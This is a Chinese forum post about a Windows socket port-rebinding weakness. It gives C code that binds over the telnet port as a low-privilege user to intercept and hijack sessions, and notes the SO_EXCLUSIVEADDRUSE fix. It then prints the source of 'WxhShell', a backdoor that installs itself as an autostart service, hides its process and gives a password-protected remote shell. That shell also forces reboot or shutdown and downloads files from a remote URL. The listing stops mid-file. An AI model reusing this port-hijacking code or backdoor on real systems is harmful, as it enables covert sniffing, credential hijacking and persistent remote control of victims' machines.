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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1DP)6{x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); on\\;V_/Q  
*Y ZLQT  
  saddr.sin_family = AF_INET; $%-?S]6)  
u| c+w)a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pS \>X_G3  
(Wqhuw!u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :S12=sFl$  
2cg z n@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 De_</1Au!2  
3@L%#]xwi  
  这意味着什么?意味着可以进行如下的攻击: 2LU'C,o?  
xJhbGK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $5r,Q{;$  
A2d2V**Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M jTKM;  
v2{s2kB=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }[`?#`sW  
{ )qP34rM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $@)d9u cd  
)[*O^bPowI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |5Pbc&mH8A  
h :R)KM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N sL"p2w~  
3~ZVAg[c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C 5 UDez  
:\_MA^<  
  #include p%1m&/ `F  
  #include h$\h PLx  
  #include bf/loMtD  
  #include    ,v_r$kh^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w>_EM&r6~u  
  int main() em}Qv3*#  
  { RfG$Px '  
  WORD wVersionRequested; ,r;d{  
  DWORD ret; ^ZUgDQduc  
  WSADATA wsaData; ycD.:w p\'  
  BOOL val; f*}E\,V"&  
  SOCKADDR_IN saddr; J94YMyOo  
  SOCKADDR_IN scaddr; T9-a uK0d  
  int err; `r(J6,O  
  SOCKET s; v^fOT5\  
  SOCKET sc; #9VY[<  
  int caddsize; +lJ]-U|P  
  HANDLE mt; z,YUguc|  
  DWORD tid;   4ZpF1Zc4B  
  wVersionRequested = MAKEWORD( 2, 2 ); O/oYaAlFF@  
  err = WSAStartup( wVersionRequested, &wsaData ); g8A{aHb1}  
  if ( err != 0 ) { h##?~!xDmq  
  printf("error!WSAStartup failed!\n"); BrMp_M  
  return -1; JBAK*g  
  } M|e n>P  
  saddr.sin_family = AF_INET; .BDRD~kB  
   5XO'OSdYq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9XvM%aHs:  
n4T2'e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W;]U P$5l  
  saddr.sin_port = htons(23); 00a<(sS;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t0d '>  
  { ef:$1VIBda  
  printf("error!socket failed!\n"); K |} ]<  
  return -1; qZ_fQ@   
  } `+Z#*lj|@  
  val = TRUE; A<X :K nl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0*/ r'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;}jbdS3  
  { 4m[C-NB!g  
  printf("error!setsockopt failed!\n"); O8~U<'=*  
  return -1; !2U7gVt"*  
  } u+'@>%7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )/ T$H|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wp*&&0O!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P9mxY*K)%5  
G[<[#$(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CSqb)\8Oi*  
  { uQtk|)T E  
  ret=GetLastError(); r]O@HVbt$  
  printf("error!bind failed!\n"); eTRx6Fri(  
  return -1; Vt)\[Tl~  
  } cU5"c)$'  
  listen(s,2); Q()RO*9  
  while(1) ~muIi#4  
  { 'Kzr-)JS  
  caddsize = sizeof(scaddr); cvXI]+`<3\  
  //接受连接请求 #[0\=B -  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NuS|X   
  if(sc!=INVALID_SOCKET) u"8;fS  
  { eo*u(@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e]*=sp!T  
  if(mt==NULL) w]Ko/;;^2  
  { CX ]\Q-y  
  printf("Thread Creat Failed!\n"); JGO$4DK-1  
  break; 9<(K6Q  
  } ZH$sMh<xg  
  } 1S[5#ewB;j  
  CloseHandle(mt); Bpm5dT;  
  } ZYA.1VrM  
  closesocket(s); mQ ^ @ \s  
  WSACleanup(); {Sr=SE  
  return 0; [ 4Y `O  
  }   bDFCZH-:'O  
  DWORD WINAPI ClientThread(LPVOID lpParam) q ~Q)'*m  
  { s{z~Axup-  
  SOCKET ss = (SOCKET)lpParam; `l gjw=  
  SOCKET sc; Q{l*62Bx  
  unsigned char buf[4096]; n:bB$Ai2  
  SOCKADDR_IN saddr; ;&W;  
  long num; e@,u`{C[  
  DWORD val; kToVBU$  
  DWORD ret; # +QWi0B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SA(UD   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Nr]8P/[~  
  saddr.sin_family = AF_INET; x'M^4{4[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b,rH&+2H  
  saddr.sin_port = htons(23); :<N6i/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iO9nvM<  
  { DD@)z0W  
  printf("error!socket failed!\n"); da00p-U  
  return -1; pVV}1RDa  
  } oxMUW<gYd  
  val = 100; ,XeyE;||  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h"PS-]:CD  
  { h5&/hBN  
  ret = GetLastError(); @QVqpE<|  
  return -1; B|Fl ,55  
  } +-H}s`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uEScAeQXsI  
  { ol$2sI=.s  
  ret = GetLastError(); |%'6f}fnE  
  return -1; u( 1J=h  
  } V\@jC\-5Vt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aJ5H3X}Y  
  { 3C rQBIj1  
  printf("error!socket connect failed!\n"); C5PmLiOHY>  
  closesocket(sc); yHWi [7$  
  closesocket(ss); _e?q4>B)c  
  return -1; ? o~:'Z  
  } 861i3OXVE>  
  while(1) pKt-R07*  
  { 2SDh0F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F-BJe]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,&.W6sW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s;fVnaqG:  
  num = recv(ss,buf,4096,0); 0W T#6D  
  if(num>0) Si?$\H*:  
  send(sc,buf,num,0); a -xW8  
  else if(num==0) ?w+ QbT  
  break; )p$\gwr=2  
  num = recv(sc,buf,4096,0); QU^/[75Ea0  
  if(num>0) w=f0*$ue+w  
  send(ss,buf,num,0); hD nM+4D  
  else if(num==0) kAZC"qM%i  
  break; G1kaF/`O  
  } 'oz hz2s  
  closesocket(ss); LXHwX*`Y  
  closesocket(sc); T*h!d(  
  return 0 ; T)WZ_bR  
  } "| K f'/r  
%&^Q(f  
mD9STuA$H  
==========================================================  28nmQ  
\\=.6cg<K  
下边附上一个代码,,WXhSHELL NH'1rt(w  
z>4 D~HX  
========================================================== jja{*PZ6H  
ds- yif6   
#include "stdafx.h" Y)$52m5rM  
,LhE shf  
#include <stdio.h> ?n!lUr$:y  
#include <string.h>  ?qk@cKS  
#include <windows.h> yZq?B  
#include <winsock2.h> >@^<S_KVh  
#include <winsvc.h> ; ;<J x.  
#include <urlmon.h> 31WZJm^  
r=h8oUNEJ*  
#pragma comment (lib, "Ws2_32.lib") TbOJp  
#pragma comment (lib, "urlmon.lib") >G]?  
@4;&hP2Z:  
#define MAX_USER   100 // 最大客户端连接数 Osnyd+dJY  
#define BUF_SOCK   200 // sock buffer }04Dg '  
#define KEY_BUFF   255 // 输入 buffer -  $%jb2  
p~h4\ .*`  
#define REBOOT     0   // 重启 z1F9$ ^  
#define SHUTDOWN   1   // 关机 =(%*LY!Xc  
Zp`~}LV{  
#define DEF_PORT   5000 // 监听端口 VSh!4z1  
g[M]i6h2  
#define REG_LEN     16   // 注册表键长度 *2`:VFEV  
#define SVC_LEN     80   // NT服务名长度 ;TtaH  
dgXg kB'  
// 从dll定义API >;,gGH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?FN9rhAC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ozU2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m$?.Yig?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {(;B5rs  
~x'zX-@rC  
// wxhshell配置信息 |"Z-7@/k$i  
struct WSCFG { z=qWJQ  
  int ws_port;         // 监听端口 q-YL]PgV  
  char ws_passstr[REG_LEN]; // 口令 :<|Z.4}kJb  
  int ws_autoins;       // 安装标记, 1=yes 0=no >5.zk1&H  
  char ws_regname[REG_LEN]; // 注册表键名 [<yz)<<  
  char ws_svcname[REG_LEN]; // 服务名 ^p,3)$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I]jX7.fx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u#FXW_-TK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (k8Z=/N~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UeA2c_ 5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^#;RLSv   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,ijW(95{k  
y:.?5KsPI  
}; "qS!B.rt:  
ailG./I+  
// default Wxhshell configuration \ n_3Bwd~  
struct WSCFG wscfg={DEF_PORT, .Vmtx  
    "xuhuanlingzhe", eQ<xp A  
    1, /ERNS/w  
    "Wxhshell", Ir27ZP  
    "Wxhshell", B7!;]'&d  
            "WxhShell Service", 9`BEi(z  
    "Wrsky Windows CmdShell Service", Z(HZB  
    "Please Input Your Password: ", Y%g "Y  
  1, $@2"{9Z  
  "http://www.wrsky.com/wxhshell.exe", !!WJn}  
  "Wxhshell.exe" ^wJEfac  
    }; xl8#=qmCD  
i=L8=8B`  
// 消息定义模块 j=W@P-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fc'[+L--Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >jMH#TZaX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,eXFN?CB  
char *msg_ws_ext="\n\rExit."; 1i'Z ei)  
char *msg_ws_end="\n\rQuit."; PBrnzkoY  
char *msg_ws_boot="\n\rReboot..."; TV=c,*TV  
char *msg_ws_poff="\n\rShutdown..."; E0YU[([G  
char *msg_ws_down="\n\rSave to "; /cfHYvnz  
$)*xC!@6X  
char *msg_ws_err="\n\rErr!"; 2r;GcjezH  
char *msg_ws_ok="\n\rOK!"; f=m/ -mAA  
"0-y*1/m  
char ExeFile[MAX_PATH]; kOipH |.x  
int nUser = 0; D0ruTS  
HANDLE handles[MAX_USER]; v9rVpYc"  
int OsIsNt; @.ZL7$|d  
~<,Sh~Ana.  
SERVICE_STATUS       serviceStatus; L/x(RCD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q- :4=vkn  
}9CrFTbx;  
// 函数声明 xNX'~B^4d  
int Install(void); nU17L6'$  
int Uninstall(void); SF< [FM%1  
int DownloadFile(char *sURL, SOCKET wsh); {ma;G[!  
int Boot(int flag); O]{*(J/t  
void HideProc(void); lzDdD3Ouc  
int GetOsVer(void); s.:r;%a  
int Wxhshell(SOCKET wsl); ,I`_F,  
void TalkWithClient(void *cs); 2~FPw{]j  
int CmdShell(SOCKET sock); Uh}X<d/V  
int StartFromService(void); DYRE1!  
int StartWxhshell(LPSTR lpCmdLine); M|r8KW~S)  
Y<Q\d[3^F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d>!p=O`>{q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }OrYpZob  
9j#@p   
// 数据结构和表定义 zfjw;sUX  
SERVICE_TABLE_ENTRY DispatchTable[] = 0H[LS  
{ +< KNY  
{wscfg.ws_svcname, NTServiceMain}, h|p[OecG  
{NULL, NULL} l1<?ONB.#  
}; u+2Lm*M  
~/|zlu*jpc  
// 自我安装 c7qwNs*f  
int Install(void) 4#:\?HAu!  
{  YqU/\f+  
  char svExeFile[MAX_PATH]; O >FO>  
  HKEY key; O,mip  
  strcpy(svExeFile,ExeFile); ]y LhJ_^  
,4Y*:JU4  
// 如果是win9x系统,修改注册表设为自启动 )N7n,_#T>  
if(!OsIsNt) { *48IF33&s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <*Y'lV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V`k8j-*s  
  RegCloseKey(key); Bq!cY Wj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M<[ ?g5=#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *{5>XH{ x  
  RegCloseKey(key); HarFE4V  
  return 0; XnXb&@Y  
    } / L~u0 2?  
  } 5f{|"LG&  
} CLN+I'uX0  
else { =nVmthGw  
 .mPg0  
// 如果是NT以上系统,安装为系统服务 SLoo:)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qI2'u%  
if (schSCManager!=0) 6fwY$K\X  
{ :'*DMW~  
  SC_HANDLE schService = CreateService o6|-=FcvC  
  ( cwynd=^nC  
  schSCManager, >V!LitdJ  
  wscfg.ws_svcname, G;]:$J  
  wscfg.ws_svcdisp, N[k<@Q?*a  
  SERVICE_ALL_ACCESS, hz)9"B\S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !k<:k "7  
  SERVICE_AUTO_START, 8(xw?|D7  
  SERVICE_ERROR_NORMAL, nGrVw&  
  svExeFile, e|'N(D}h*  
  NULL, o^ h(#%O  
  NULL, 8D~x\!(p\  
  NULL, nyhMnp#<  
  NULL, ,7,;twKz  
  NULL qm(1:iK,0  
  ); yFM>T\@  
  if (schService!=0) TzM=LvA  
  { G6O/(8  
  CloseServiceHandle(schService); Vxh.<b6&'  
  CloseServiceHandle(schSCManager); 59!)j>f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .JAcPyK^  
  strcat(svExeFile,wscfg.ws_svcname); -M61 Mw1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @{}rG8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S,vu]?-8  
  RegCloseKey(key); {XnPx? V  
  return 0; <qY5SV,  
    } WE.Tuo5L  
  } J22r v(  
  CloseServiceHandle(schSCManager); >XE`h 9  
} DO^y;y>  
} ~_PYNY`"  
r!K|E95oj9  
return 1; pm]fQ uq  
} lbkL yp2  
5(J^N  
// 自我卸载 - L~Uu^o  
int Uninstall(void) _D-Riu>#J  
{ 4lz{G*u  
  HKEY key; E`)Qs[?Gk  
4/MNqit+  
if(!OsIsNt) { b UvK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3k{ @.V ?]  
  RegDeleteValue(key,wscfg.ws_regname); ,- HIFbXx@  
  RegCloseKey(key); Q!$IQJ]|Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >L[lV_M_>  
  RegDeleteValue(key,wscfg.ws_regname); .,mPdVof  
  RegCloseKey(key); t)I0lnbs  
  return 0; `P.CNYR<J  
  } KO,_6>8]U  
} SE!L :  
} cU+>|'f &  
else { [hU=m S8=^  
}1>atgq]w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y:pRcO.4g  
if (schSCManager!=0) 3w'W~  
{ H#+xKYrp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u^=@DO'  
  if (schService!=0) c]v +  
  { N!m%~kS9k<  
  if(DeleteService(schService)!=0) { hTTfJDF  
  CloseServiceHandle(schService); ZQ[~*)  
  CloseServiceHandle(schSCManager); Dl\d_:+  
  return 0; z%};X$V`J  
  } DHzkRCM  
  CloseServiceHandle(schService); [TCRB`nTQF  
  } B01^oYM}  
  CloseServiceHandle(schSCManager); l* Y[^'  
} "Ot{^ _e  
} +/q0Y`v  
\)R-A '*U  
return 1; mV zu~xym  
} `a'` $'j  
vYzVY\   
// 从指定url下载文件 PYieD}'  
int DownloadFile(char *sURL, SOCKET wsh) ^zeL+(@r/  
{ 8IJ-]wHIb  
  HRESULT hr; #=x+ [d+  
char seps[]= "/"; o2}N=|&  
char *token; q{@P+2<wF  
char *file; .. UoyBV  
char myURL[MAX_PATH]; w_H2gaQ  
char myFILE[MAX_PATH]; " $=qGHA~  
(UcFNeo  
strcpy(myURL,sURL); 4\1;A`2%0  
  token=strtok(myURL,seps); N 8}lt  
  while(token!=NULL) G>0)I  
  { {]["6V6W  
    file=token; C8MWIX}  
  token=strtok(NULL,seps); 8t\}c6/3"  
  } ai^t= s  
% $.vOFP9  
GetCurrentDirectory(MAX_PATH,myFILE); DZP*x  
strcat(myFILE, "\\"); l/F!Bq[*g  
strcat(myFILE, file); *;X-\6  
  send(wsh,myFILE,strlen(myFILE),0); ~#t*pOC5BR  
send(wsh,"...",3,0); {? 2;0}3?;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;q &0,B  
  if(hr==S_OK) mQ=sNZ-d]  
return 0; q_pmwJ:UL  
else 9'X@@6b*'  
return 1; 6=3(oUl  
BPiiexTV9  
} {\Ys@FF  
(GNEYf|  
// 系统电源模块 Pl?}>G  
int Boot(int flag)  z \^  
{ dFMAh&:>  
  HANDLE hToken; ?V?<E=13  
  TOKEN_PRIVILEGES tkp; ) H+d.Y  
l_b_-p  
  if(OsIsNt) { -U:2H7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H\d;QN9Q;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l{QC}{Ejc2  
    tkp.PrivilegeCount = 1; ~.H~XK w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U\?+s2I)v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fOLnK y#  
if(flag==REBOOT) { J7Sx!PQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GqMB^Ad  
  return 0; =t HD 4I  
} 2;h+;G  
else { ;tXY =  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .=CH!{j  
  return 0; /wlFD,+8  
} lm!F M`m  
  } n@_)fFD%  
  else { }9 ?y'6l  
if(flag==REBOOT) { E;$$+rA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9LHa&""  
  return 0; f:&)"  
} `}Eh[EOHJ  
else { ys/vI/e\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0a@c/ XGBp  
  return 0; C&e8a9*,(a  
} A^t"MYX@  
} >ks3WMm  
z41D^}b  
return 1; Pm~,Ky&Hl  
} q{[1fE"[K4  
E~}[+X@  
// win9x进程隐藏模块 Y1|^>C#a  
void HideProc(void) K1<k+t/V  
{ ~RAzFLt6x  
8z?$t-DO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uRFNfX(*  
  if ( hKernel != NULL ) T:Bzz)2/  
  { @\+%GDv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lu3Q,W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b#e]1Q  
    FreeLibrary(hKernel); p0   
  } UC.8DaIPN  
tD865gi  
return; xiEcEz'lk  
} z_'dRw  
&:-GI)[o  
// 获取操作系统版本 4a#B!xW  
int GetOsVer(void) gNG.l  
{ \ =S3 L<  
  OSVERSIONINFO winfo; )7tV*=?Ic8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r}Ltv?4  
  GetVersionEx(&winfo); 2m|Eoc&M_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N!]PIWnC  
  return 1; uQO(?nCi  
  else <##|311o  
  return 0; 9fCiLlI  
} bOi};/f  
b!0'Qidh0  
// 客户端句柄模块 jQO* oq}  
int Wxhshell(SOCKET wsl) kx:c*3q.k  
{ 7sCR!0  
  SOCKET wsh; lp?i_p/z  
  struct sockaddr_in client; 4 `j,&=  
  DWORD myID; nZ"{y  
M?QQr~a  
  while(nUser<MAX_USER) !IfI-Q  
{ |~7+/VvI+  
  int nSize=sizeof(client); U f=vs(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pK-_R#  
  if(wsh==INVALID_SOCKET) return 1; 1'(_>S5CG  
cdd P T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C3&17O6  
if(handles[nUser]==0) v(i1Z}*b  
  closesocket(wsh); Gw{Gt]liq  
else 7qCJ]%)b6  
  nUser++; !%SdTaC{T  
  } ho?|j"/7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0sq=5 BnO  
M!;`(_2  
  return 0; x.jYip  
} Zm"!E6`69  
;u4@iN}p  
// 关闭 socket jx^|2  
void CloseIt(SOCKET wsh) 7j9D;_(.^$  
{ oO!1  
closesocket(wsh); F'$9en2I:  
nUser--; I!C(K^  
ExitThread(0); ;oN{I@}k  
} ]# tGT0   
EM>c%BH<N  
// 客户端请求句柄 DTX/3EN  
void TalkWithClient(void *cs) MEdIw#P.}{  
{ 3&drof\{  
sRo<4U0M;l  
  SOCKET wsh=(SOCKET)cs; $71D)*{P  
  char pwd[SVC_LEN]; lx A<iQia  
  char cmd[KEY_BUFF]; ~pX(w!^  
char chr[1]; Z~-T0Ab-  
int i,j; #cSw"A  
YoSo0fQA  
  while (nUser < MAX_USER) { )7Hon  
7gZVg@   
if(wscfg.ws_passstr) { thlpj*|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o2 T/IJP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4 _c:Vl  
  //ZeroMemory(pwd,KEY_BUFF); tF;& x g  
      i=0; qH {8n`  
  while(i<SVC_LEN) { 8JjU 9#  
\>aa8LOe  
  // 设置超时 kMJQeo79  
  fd_set FdRead; 1 o  
  struct timeval TimeOut; #+k .b_LS  
  FD_ZERO(&FdRead); \@ WsF$  
  FD_SET(wsh,&FdRead); ]P}K3tN%]  
  TimeOut.tv_sec=8; x[.z"$T@  
  TimeOut.tv_usec=0; C-:SQf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vP87{J*DE1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mER8> <  
`DWi4y7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5b{yA~ty  
  pwd=chr[0]; jr#g>7yM  
  if(chr[0]==0xd || chr[0]==0xa) { SG+i\yu$h0  
  pwd=0; 0c\|S>g [  
  break; :>er^\  
  } M|Lw`?T  
  i++; '7O{*=`oj  
    } Fy(nu-W  
&\6`[# bT  
  // 如果是非法用户,关闭 socket dPyBY ]`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >m_ p\$_  
} G|6|;   
(&Tb,H)=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8NF;k5   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h2/1S{/n]  
yZ(Nv $[5  
while(1) { !ovZ>,1  
5S-o 2a  
  ZeroMemory(cmd,KEY_BUFF); _G}CD|Kx  
[;V1y`/K1  
      // 自动支持客户端 telnet标准   .^`a6>EQ)|  
  j=0; fFTvf0j  
  while(j<KEY_BUFF) { Dxa)7dA|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z\gg<Q  
  cmd[j]=chr[0]; C+#;L+$Gi  
  if(chr[0]==0xa || chr[0]==0xd) { k.%W8C<Pa  
  cmd[j]=0; f{ 4G  
  break; 7s fuju(  
  } !wR{Y[Yu  
  j++; n XeK,C  
    } Sc"4%L  
D@b<}J>0'  
  // 下载文件 8.3_Wb(c  
  if(strstr(cmd,"http://")) { W!4V: (T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b\Xu1>  
  if(DownloadFile(cmd,wsh)) }vxH)U6$q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )6R#k8'ERr  
  else Y/ac}q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -.Pu5et4  
  } QB|fFj58u  
  else { n\ ',F  
aaD$'Y,<>B  
    switch(cmd[0]) { IweK!,:>dN  
  AoOG[to7  
  // 帮助 <pl2 dxy  
  case '?': { [Fj#7VZK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ${?exnb$  
    break; 1 GHgwT  
  } #M9D" <pn}  
  // 安装 \/4%[Q2QDm  
  case 'i': { GxDF7 z%&  
    if(Install()) w{O3P"N2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z&vms   
    else 1o8"==n%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~$ qJw?r  
    break; ._8cJf.ae  
    } 8\.1m9&r>o  
  // 卸载 Y&!]I84]  
  case 'r': { R6$F<;nw  
    if(Uninstall()) m^x\@!N:(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); utl=O  
    else pfQZ|*>lkb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qp.!U~  
    break; ~)8i5p;P/k  
    } _xL&sy09t  
  // 显示 wxhshell 所在路径 c%Cae3;  
  case 'p': { YB1DL ^ :  
    char svExeFile[MAX_PATH]; p'!,F; xX  
    strcpy(svExeFile,"\n\r"); OmjT`,/  
      strcat(svExeFile,ExeFile); GJt9hDM$0  
        send(wsh,svExeFile,strlen(svExeFile),0); 2xdJ(\JWM  
    break; j=QR*8*  
    } L?C~ qS2g  
  // 重启 $#JVI:  
  case 'b': { 78J .~v/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0@x$Cp  
    if(Boot(REBOOT)) AbI*/ |sY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); la|l9N^,  
    else { R/cq00g  
    closesocket(wsh); `[:1!I.}-  
    ExitThread(0); 8PjhvU  
